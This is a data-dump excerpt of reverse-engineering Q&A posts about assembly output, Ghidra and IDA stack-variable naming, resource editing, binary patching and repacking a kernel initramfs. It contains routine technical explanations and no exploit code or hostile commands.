  <row Id="23537" PostTypeId="2" ParentId="23529" CreationDate="2020-03-26T10:53:02.663" Score="1" Body="&lt;p&gt;A __fastcall function gets its first two arguments in ECX and EDX.&#xA;&lt;code&gt;int __fastcall sub_1(int a1, int a2)&#xA;{&#xA;  int v2;&#xA;  v2 = a2; //v2 = EDX&#xA;  ...&#xA;&lt;/code&gt;&#xA;This line may change the address pointed to by &lt;strong&gt;a2&lt;/strong&gt;, if it happens to be a pointer, but not the value of &lt;strong&gt;a2&lt;/strong&gt; itself. However, after this line EDX may have changed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub_2(a2);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the relevant part is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(*(_DWORD *)v2 + 24))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v2 is treated as a _DWORD pointer, which means its size is that of a pointer, typically 4 bytes. So, v2+24, treated as a pointer-sized variable is &lt;code&gt;v2+24*4&lt;/code&gt;.&#xA;This value is then dereferenced and treated as function pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function address is the _DWORD &lt;strong&gt;value&lt;/strong&gt; found at &lt;code&gt;[v2+0x60]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-03-26T13:07:43.323" LastActivityDate="2020-03-26T13:07:43.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23538" PostTypeId="1" CreationDate="2020-03-26T15:26:35.693" Score="2" ViewCount="722" Body="&lt;p&gt;I try to better understand assembly and currently playing around with some compiled c snippets.&#xA;I have the following snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main() {&#xA;    char b[] = &quot; a nice nice long string&quot;;&#xA;&#xA;    char c[100];&#xA;    strcpy(c, b);&#xA;    printf(&quot;Hello World %s\n&quot;, c);&#xA;    strcpy(c, &quot; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After compiling it with &lt;code&gt;gcc hello_world.c -o hello_world&lt;/code&gt; and opening it in gdb the assembly code of the main function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x00000000000006fa &amp;lt;+0&amp;gt;:     push   rbp&#xA;   0x00000000000006fb &amp;lt;+1&amp;gt;:     mov    rbp,rsp&#xA;   0x00000000000006fe &amp;lt;+4&amp;gt;:     sub    rsp,0x90&#xA;   0x0000000000000705 &amp;lt;+11&amp;gt;:    mov    rax,QWORD PTR fs:0x28&#xA;   0x000000000000070e &amp;lt;+20&amp;gt;:    mov    QWORD PTR [rbp-0x8],rax&#xA;   0x0000000000000712 &amp;lt;+24&amp;gt;:    xor    eax,eax&#xA;   0x0000000000000714 &amp;lt;+26&amp;gt;:    movabs rax,0x206563696e206120&#xA;   0x000000000000071e &amp;lt;+36&amp;gt;:    movabs rdx,0x6e6f6c206563696e&#xA;   0x0000000000000728 &amp;lt;+46&amp;gt;:    mov    QWORD PTR [rbp-0x90],rax&#xA;   0x000000000000072f &amp;lt;+53&amp;gt;:    mov    QWORD PTR [rbp-0x88],rdx&#xA;   0x0000000000000736 &amp;lt;+60&amp;gt;:    movabs rax,0x676e697274732067&#xA;   0x0000000000000740 &amp;lt;+70&amp;gt;:    mov    QWORD PTR [rbp-0x80],rax&#xA;   0x0000000000000744 &amp;lt;+74&amp;gt;:    mov    BYTE PTR [rbp-0x78],0x0&#xA;   0x0000000000000748 &amp;lt;+78&amp;gt;:    lea    rdx,[rbp-0x90]&#xA;   0x000000000000074f &amp;lt;+85&amp;gt;:    lea    rax,[rbp-0x70]&#xA;   0x0000000000000753 &amp;lt;+89&amp;gt;:    mov    rsi,rdx&#xA;   0x0000000000000756 &amp;lt;+92&amp;gt;:    mov    rdi,rax&#xA;   0x0000000000000759 &amp;lt;+95&amp;gt;:    call   0x5b0 &amp;lt;strcpy@plt&amp;gt;&#xA;   0x000000000000075e &amp;lt;+100&amp;gt;:   lea    rax,[rbp-0x70]&#xA;   0x0000000000000762 &amp;lt;+104&amp;gt;:   mov    rsi,rax&#xA;   0x0000000000000765 &amp;lt;+107&amp;gt;:   lea    rdi,[rip+0xe8]        # 0x854&#xA;   0x000000000000076c &amp;lt;+114&amp;gt;:   mov    eax,0x0&#xA;   0x0000000000000771 &amp;lt;+119&amp;gt;:   call   0x5d0 &amp;lt;printf@plt&amp;gt;&#xA;   0x0000000000000776 &amp;lt;+124&amp;gt;:   lea    rax,[rbp-0x70]&#xA;   0x000000000000077a &amp;lt;+128&amp;gt;:   movabs rsi,0x4141414141414120&#xA;   0x0000000000000784 &amp;lt;+138&amp;gt;:   movabs rdi,0x4141414141414141&#xA;   0x000000000000078e &amp;lt;+148&amp;gt;:   mov    QWORD PTR [rax],rsi&#xA;   0x0000000000000791 &amp;lt;+151&amp;gt;:   mov    QWORD PTR [rax+0x8],rdi&#xA;   0x0000000000000795 &amp;lt;+155&amp;gt;:   movabs rdx,0x4141414141414141&#xA;   0x000000000000079f &amp;lt;+165&amp;gt;:   movabs rcx,0x4141414141414141&#xA;   0x00000000000007a9 &amp;lt;+175&amp;gt;:   mov    QWORD PTR [rax+0x10],rdx&#xA;   0x00000000000007ad &amp;lt;+179&amp;gt;:   mov    QWORD PTR [rax+0x18],rcx&#xA;   0x00000000000007b1 &amp;lt;+183&amp;gt;:   mov    BYTE PTR [rax+0x20],0x0&#xA;   0x00000000000007b5 &amp;lt;+187&amp;gt;:   mov    eax,0x0&#xA;   0x00000000000007ba &amp;lt;+192&amp;gt;:   mov    rcx,QWORD PTR [rbp-0x8]&#xA;   0x00000000000007be &amp;lt;+196&amp;gt;:   xor    rcx,QWORD PTR fs:0x28&#xA;   0x00000000000007c7 &amp;lt;+205&amp;gt;:   je     0x7ce &amp;lt;main+212&amp;gt;&#xA;   0x00000000000007c9 &amp;lt;+207&amp;gt;:   call   0x5c0 &amp;lt;__stack_chk_fail@plt&amp;gt;&#xA;   0x00000000000007ce &amp;lt;+212&amp;gt;:   leave&#xA;   0x00000000000007cf &amp;lt;+213&amp;gt;:   ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think i understand which part is doing what. &#xA;But some things are not clear to me.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;strcpy is only called once and only when the second argument is a variable. Why is ther no call for the second strcopy?&lt;/li&gt;&#xA;&lt;li&gt;printf is called with a string and a second arg. The string is loaded from rip+0xe8. Why is the string provided to the second strcopy not loaded in the same fashion? It is &quot;hardcoded&quot; with in the moveabs instructions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this due to some compiler optimization? Can someone elaborate?&lt;/p&gt;&#xA;" OwnerUserId="31525" LastActivityDate="2020-03-26T18:41:06.963" Title="Why is there no call to strcpy in assembly?" Tags="|assembly|c|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23539" PostTypeId="2" ParentId="23538" CreationDate="2020-03-26T15:33:55.073" Score="4" Body="&lt;pre&gt;&lt;code&gt;import binascii&#xA;print(binascii.hexlify(b&quot; a nice nice long string&quot;))&#xA;print(binascii.hexlify(b&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can find both the string in your listing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b'2061206e696365206e696365206c6f6e6720737472696e67'&#xA;b'41414141414141414141414141414141414141414141414141414141414141'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;first string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000000000000714 &amp;lt;+26&amp;gt;:    movabs rax,0x206563696e206120&#xA;0x000000000000071e &amp;lt;+36&amp;gt;:    movabs rdx,0x6e6f6c206563696e&#xA;0x0000000000000736 &amp;lt;+60&amp;gt;:    movabs rax,0x676e697274732067&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;second string &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0x000000000000077a &amp;lt;+128&amp;gt;:   movabs rsi,0x4141414141414120&#xA; 0x0000000000000784 &amp;lt;+138&amp;gt;:   movabs rdi,0x4141414141414141&#xA; 0x000000000000078e &amp;lt;+148&amp;gt;:   mov    QWORD PTR [rax],rsi&#xA; 0x0000000000000791 &amp;lt;+151&amp;gt;:   mov    QWORD PTR [rax+0x8],rdi&#xA; 0x0000000000000795 &amp;lt;+155&amp;gt;:   movabs rdx,0x4141414141414141&#xA; 0x000000000000079f &amp;lt;+165&amp;gt;:   movabs rcx,0x4141414141414141&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;first time you give it an address which is unknown at compile time so compiler is forced to use the function (dynamic arguments)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;second time you give a CONSTANT String which can be split and put into the c&lt;br&gt;&#xA;(static argument)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you provide a very very big string it can take the address and do a repmovsq    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strcpy(d, &quot; lshdgfdghsdfghsdfghsdfhgsdfhgsdfhgshsfur4tye36346asdgxzcvgaewt34t sg afeaerwbhtyhswrtwqee5t6e67redhfdxbw45bh hhjljuhlfjsdhlksjdghsdlkjfhgsldkjfghlskjdghlkjsdhggkjsdhgksdjhgskdjhglsdkjhgfskjdhfgsdkjhfgkjsdfhgskdjhfgsdk;ljhg;djkgsjhg;dsljkhf;ljg;dljg;jh&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using repmovsq&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, OFFSET FLAT:.LC1&#xA;mov     ecx, 31&#xA;mov     rdi, rdx&#xA;mov     rsi, rax&#xA;rep movsq&#xA;&#xA;.LC1:&#xA;        .string &quot; lshd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just to confirm remove the b[] = line and put strcpy(c,const string ); you will see the compiler has eliminated the .plt entry also and will convert the &#xA;strcpy to __builtin_memcpy()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; __builtin_memcpy (&amp;amp;c, &quot; a nice nice long string&quot;, 25);&#xA;  printf (&quot;Hello World %s\n&quot;, &amp;amp;c);&#xA;  __builtin_memcpy (&amp;amp;c, &quot; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;, 33);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compile with -fno-builtin and you will get both strcpy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.LC0:&#xA;        .string &quot;Hello World %s\n&quot;&#xA;.LC1:&#xA;        .string &quot; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;&#xA;main:&#xA;        push    rbp&#xA;        mov     rbp, rsp&#xA;        sub     rsp, 144&#xA;        movabs  rax, 2334381286331801888&#xA;        movabs  rdx, 7957697952982722926&#xA;        mov     QWORD PTR [rbp-32], rax&#xA;        mov     QWORD PTR [rbp-24], rdx&#xA;        movabs  rax, 7453010373645639783&#xA;        mov     QWORD PTR [rbp-16], rax&#xA;        mov     BYTE PTR [rbp-8], 0&#xA;        lea     rdx, [rbp-32]&#xA;        lea     rax, [rbp-144]&#xA;        mov     rsi, rdx&#xA;        mov     rdi, rax&#xA;        call    strcpy&#xA;        lea     rax, [rbp-144]&#xA;        mov     rsi, rax&#xA;        mov     edi, OFFSET FLAT:.LC0&#xA;        mov     eax, 0&#xA;        call    printf&#xA;        lea     rax, [rbp-144]&#xA;        mov     esi, OFFSET FLAT:.LC1&#xA;        mov     rdi, rax&#xA;        call    strcpy&#xA;        mov     eax, 0&#xA;        leave&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can read about various other __builtins &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Other-Builtins.html#Other-Builtins&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-03-26T18:41:06.963" LastActivityDate="2020-03-26T18:41:06.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23540" PostTypeId="1" AcceptedAnswerId="23546" CreationDate="2020-03-26T21:10:12.077" Score="3" ViewCount="4663" Body="&lt;p&gt;Why is Ghidra interpreting this incorrectly? The example is very simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0019FF58  $-8      0019FF58        00000002     LOCAL 2&#xA;0019FF5C  $-4      0019FF5C        00000001     LOCAL 1&#xA;0019FF60  $ ==&amp;gt;    0019FF60        0019FF80     OLD EBP&#xA;0019FF64  $+4      0019FF64      | 00401025     return to layout.00401025 from layout.sub_40102C&#xA;0019FF68  $+8      0019FF68      | 00000041     PARAM 3&#xA;0019FF6C  $+C      0019FF6C      | 0000BABE     PARAM 2&#xA;0019FF70  $+10     0019FF70      | 0000CAFE     PARAM 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ghidra obtains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined4        Stack[0x4]:4   param_1                                 XREF[1]:     00401040 (R)   &#xA;undefined4        Stack[0x8]:4   param_2                                 XREF[1]:     00401043 (R)   &#xA;undefined4        Stack[0xc]:4   param_3                                 XREF[1]:     00401046 (R)   &#xA;undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     00401032 (W)   &#xA;undefined4        Stack[-0xc]:4  local_c                                 XREF[1]:     00401039 (W)  &#xA;00401032 C745FC01000000            MOV        dword ptr [EBP  + local_8 ],0x1&#xA;00401039 C745F802000000            MOV        dword ptr [EBP  + local_c ],0x2&#xA;00401040 8B5D08                    MOV        EBX ,dword ptr [EBP  + param_1 ]&#xA;00401043 8B4D0C                    MOV        ECX ,dword ptr [EBP  + param_2 ]&#xA;00401046 FF7510                    PUSH       dword ptr [EBP  + param_3 ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereas IDA correctly gets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040102C var_8           = dword ptr -8&#xA;.text:0040102C var_4           = dword ptr -4&#xA;.text:0040102C arg_0           = dword ptr  8&#xA;.text:0040102C arg_4           = dword ptr  0Ch&#xA;.text:0040102C arg_8           = dword ptr  10h&#xA;.text:00401032                 mov     [ebp+var_4], 1&#xA;.text:00401039                 mov     [ebp+var_8], 2&#xA;.text:00401040                 mov     ebx, [ebp+arg_0]&#xA;.text:00401043                 mov     ecx, [ebp+arg_4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18064" LastActivityDate="2020-03-27T18:48:30.913" Title="Ghidra interpreting stack pointers wrongly" Tags="|ghidra|stack-variables|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23541" PostTypeId="1" CreationDate="2020-03-27T04:18:37.710" Score="1" ViewCount="90" Body="&lt;p&gt;I have a PowerPC executable (Wipeout 2097 for Macintosh) that when opened in IDA will have all its function names resolved from debugging symbols in the executable right out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ghidra however, it doesn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know if there is anything particular to do in Ghidra to fetch function names from debugging symbols ?&lt;/p&gt;&#xA;" OwnerUserId="4122" LastEditorUserId="4122" LastEditDate="2020-06-08T15:22:21.030" LastActivityDate="2020-06-08T15:22:21.030" Title="PowerPC executable doesn't show debugging symbols in Ghidra" Tags="|ghidra|debugging-symbols|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23542" PostTypeId="1" CreationDate="2020-03-27T09:33:52.567" Score="1" ViewCount="183" Body="&lt;p&gt;I have an ARM IoT device with a web interface, and I have the binary of this device open in Ida Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looking for vulnerabilities in the webserver binary that can be exploited to run commands or bypass authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the manual way, looking for unsafe functions in the binary that are susceptible to buffer overflows, or looking in the webserver to find input that is passed to &lt;code&gt;exec&lt;/code&gt; or other input that can download files from the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is the manual and slow way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tool or maybe Ida Pro plugin that helps to find a vulnerabilities in binaries/in web applications?&lt;/p&gt;&#xA;" OwnerUserId="30610" LastEditorUserId="24222" LastEditDate="2020-04-03T16:06:23.827" LastActivityDate="2020-04-03T16:06:23.827" Title="Find vulnerabilities in ARM IoT device" Tags="|ida|arm|vulnerability-analysis|ida-plugin|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23543" PostTypeId="1" CreationDate="2020-03-27T13:09:57.920" Score="0" ViewCount="1275" Body="&lt;p&gt;I wanted to change a icon of a programs. I tried both Resource Tuner and Resource Hacker programs. When i opened the program there were multiple icons sizes, but when i tried to replace one icon, it generated multiple icons of a single ico file. After that, it looked like the exe icon has been  changed, but only in the file manager, When i opened the programs, the icon on the window and taskbar was not changed. Why is this and how can i change it?&lt;/p&gt;&#xA;" OwnerUserId="31541" LastActivityDate="2021-04-08T10:06:00.530" Title="Resource hacker and Resource tuner don't change taskbar and window icons" Tags="|game-hacking|pe-resources|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23544" PostTypeId="2" ParentId="21180" CreationDate="2020-03-27T14:06:57.070" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Open Hex View.&lt;/li&gt;&#xA;&lt;li&gt;Right-click on the data.&lt;/li&gt;&#xA;&lt;li&gt;Choose &quot;Edit...&quot; (Alternatively, press F2).&lt;/li&gt;&#xA;&lt;li&gt;Now you can change the string in rdata.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Don't forget to add null terminator.&lt;/li&gt;&#xA;&lt;li&gt;You can just leave the rest of the unused bytes of the original string.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Patch the program, go to &quot;Edit&quot;, choose &quot;Patch program&quot; and than &quot;Apply patches to input file&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31542" LastActivityDate="2020-03-27T14:06:57.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23546" PostTypeId="2" ParentId="23540" CreationDate="2020-03-27T18:48:30.913" Score="8" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is not an error from Ghidra. The values are just a naming convention, and the real instructions are correctly disassembled.&lt;/li&gt;&#xA;&lt;li&gt;Ghidra assigns variable names based on the function entry point, and displays offsets based on that.&lt;/li&gt;&#xA;&lt;li&gt;It seems Ghidra behaviour is like this to have a universal way to assign names, independently from the compiler.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As pointed by R4444, Ghidra shows variable offsets relative to the &lt;code&gt;entry stack-pointer&lt;/code&gt; and are not &lt;code&gt;frame-based&lt;/code&gt; offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Herein, Ghidra assigns variable names based on &lt;code&gt;ESP&lt;/code&gt; (or corresponding stack pointer) &lt;strong&gt;at the time the function is entered&lt;/strong&gt;, without considering the coming &lt;code&gt;PUSH EBP&lt;/code&gt;, basically following this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0019FF58  $-C      0019FF58        00000002     LOCAL 2&#xA;0019FF5C  $-8      0019FF5C        00000001     LOCAL 1&#xA;0019FF60  $-4      0019FF60        0019FF80     will store the OLD EBP&#xA;0019FF64  $ ==&amp;gt;    0019FF64      | 00401025     return to layout.00401025 from layout.sub_40102C&#xA;0019FF68  $+4      0019FF68      | 00000041     PARAM 1&#xA;0019FF6C  $+8      0019FF6C      | 0000BABE     PARAM 2&#xA;0019FF70  $+C      0019FF70      | 0000CAFE     PARAM 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is &lt;strong&gt;how&lt;/strong&gt; Ghidra obtained the values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stack[0x4]  -&amp;gt; param_1&#xA;Stack[0x8]  -&amp;gt; param_2&#xA;Stack[0xc]  -&amp;gt; param_3&#xA;Stack[-0x8] -&amp;gt; local_8&#xA;Stack[-0xc] -&amp;gt; local_c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It must be considered that this is just a &lt;strong&gt;variable naming&lt;/strong&gt;, the actual instruction is addressing the data with the correct offset. If we navigate to one of the offensive instructions, we can see that Ghidra provides the correct instruction at the bottom right corner, in this case, &lt;code&gt;EBP-4&lt;/code&gt; for the named variable &lt;code&gt;local_8&lt;/code&gt; (&lt;code&gt;[-0x8]&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oWScT.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oWScT.jpg&quot; alt=&quot;Ghidra stack-pointer relative to entry&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This default Ghidra behavior can be modified permanently via: &lt;code&gt;Edit &amp;gt; Tool Options &amp;gt; Listing Fields &amp;gt; Operands Field &amp;gt; Markup Stack Variable References&lt;/code&gt;, and then Ghidra will display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     undefined4        Stack[0x4]:4   param_1                                 XREF[1]:     00401040 (R)   &#xA;     undefined4        Stack[0x8]:4   param_2                                 XREF[1]:     00401043 (R)   &#xA;     undefined4        Stack[0xc]:4   param_3                                 XREF[1]:     00401046 (R)   &#xA;     undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     00401032 (W)   &#xA;     undefined4        Stack[-0xc]:4  local_c                                 XREF[1]:     00401039 (W)   &#xA;&#xA;00401032 C745FC01000000            MOV        dword ptr [EBP  + -0x4 ]=&amp;gt; local_8 ,0x1&#xA;00401039 C745F802000000            MOV        dword ptr [EBP  + -0x8 ]=&amp;gt; local_c ,0x2&#xA;00401040 8B5D08                    MOV        EBX ,dword ptr [EBP  + 0x8 ]=&amp;gt; param_1&#xA;00401043 8B4D0C                    MOV        ECX ,dword ptr [EBP  + 0xc ]=&amp;gt; param_2&#xA;00401046 FF7510                    PUSH       dword ptr [EBP  + 0x10 ]=&amp;gt; param_3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the &lt;strong&gt;REASON&lt;/strong&gt; for the values mismatch and the &lt;strong&gt;HOW&lt;/strong&gt; the values are obtained, but &lt;strong&gt;WHY&lt;/strong&gt; is Ghidra naming variables based on the function entry? @emteere explains that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The choice of stack variable offsets based on the frame variable versus stack variables based on the stack pointer can cause some confusion. What it allows is ignoring the stack frame variable and just creating references to the stack wherever they occur however they occur. &lt;strong&gt;There are many examples of the stack pointer loaded into alternate registers without a frame&lt;/strong&gt;, so a universal base of the stack at entry seemed like a good choice and less confusing when there is and isn't a frame pointer in two different functions. When debug information is loaded the conversion to SP at entry needs to be done. In addition, many compilers have gotten rid of the use of a stack frame register all together.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, I imagine that the explanation is that one normally would wish to have frame-based variable naming, like seen in IDA, at least for some of the most extended architectures/compilers. However, Ghidra names variables with a general policy, and they decided to harmonise behaviour of different architectures/compilers by offseting variables based on the stack-pointer at the time the function is entered.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/998&quot; rel=&quot;noreferrer&quot;&gt;Suspected incorrect FP stack variables in ARM&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/223&quot; rel=&quot;noreferrer&quot;&gt;local variable's ebp offset doesn't match&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ghidra help: &quot;Function Signature, Attributes and Variables&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18064" LastActivityDate="2020-03-27T18:48:30.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23547" PostTypeId="1" CreationDate="2020-03-27T21:08:41.047" Score="2" ViewCount="1327" Body="&lt;p&gt;I'd like to modify some of the init scripts in an initramfs that is embedded in a kernel bzImage. I know I can modify them by not changing the size of any files (e.g. by commenting out lines, and deleting letters or adding comments if necessary to even things out.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to DD out the xz file from the zImage. Decompress it. Modify the cpio, then recompress it, and DD back to the zImage. My hope is that by not changing the size of any files, this is going to work. Although I appreciate it may not be that easy. So any help with that would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I've run binwalk on the kernel image, and it looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Microsoft executable, portable (PE)&#xA;16817         0x41B1          xz compressed data&#xA;7297600       0x6F5A40        xz compressed data&#xA;7299230       0x6F609E        Unix path: /x86/boot/compressed/kaslr_64.c!?&#xA;7483729       0x723151        Certificate in DER format (x509 v3), header length: 4, sequence length: 762&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now. I've also run Binwalk -e on the file, and it is able to successfully extract the xz archives, and decompress at least one of them (0x41B1) into a .cpio file, which I've verified contains the initramfs. But a couple issues I've run into don't make sense to me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The &quot;xz&quot; file extracted by binwalk is 7468247 in size. Yet, if you subtract the offsets above between the two xz files you get 7280783. Why is there a difference?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I try to run xz -d on the .xz file extracted by binwalk I get a message &quot;Compressed data is corrupt.&quot; And if I do a hexdump of the XZ file extracted by binwalk it doesn't appear to have the magic bytes associated with an XZ file up top. So what is binwalk doing differently to properly extract the XZ file? And what exactly is binwalk extracting since it doesn't appear to be a valid XZ file (at least according to the XZ utility)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I run the xz_wrap script (included in the linux kernel) (or any other options of XZ that I have tried) on the extracted CPIO file by Binwalk--no matter what I do--I can't get an xz file to generate that is exactly the same as the original .xz file that binwalk extracted from the zImage. Can anyone explain this or what I can do to generate the exact same XZ archive? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know with certainty the Kernel is using &quot;CONFIG_HAVE_KERNEL_XZ=y&quot; since I've been able to extract that much. Although I'll note that after I enabled some debugging in Binwalk, I can see it is using its lzma decompressor to decompress the XZ file extracted from the kernel image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions here? I'm certainly not trying to reinvent the wheel. So if someone else has come up with a way to repack an initramfs into a x86 Kernel, I'd be interested in looking at that. I'm also open to any other suggestions here.&lt;/p&gt;&#xA;" OwnerUserId="31551" LastActivityDate="2021-04-22T18:08:55.747" Title="Repacking an embedded initramfs" Tags="|linux|binwalk|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
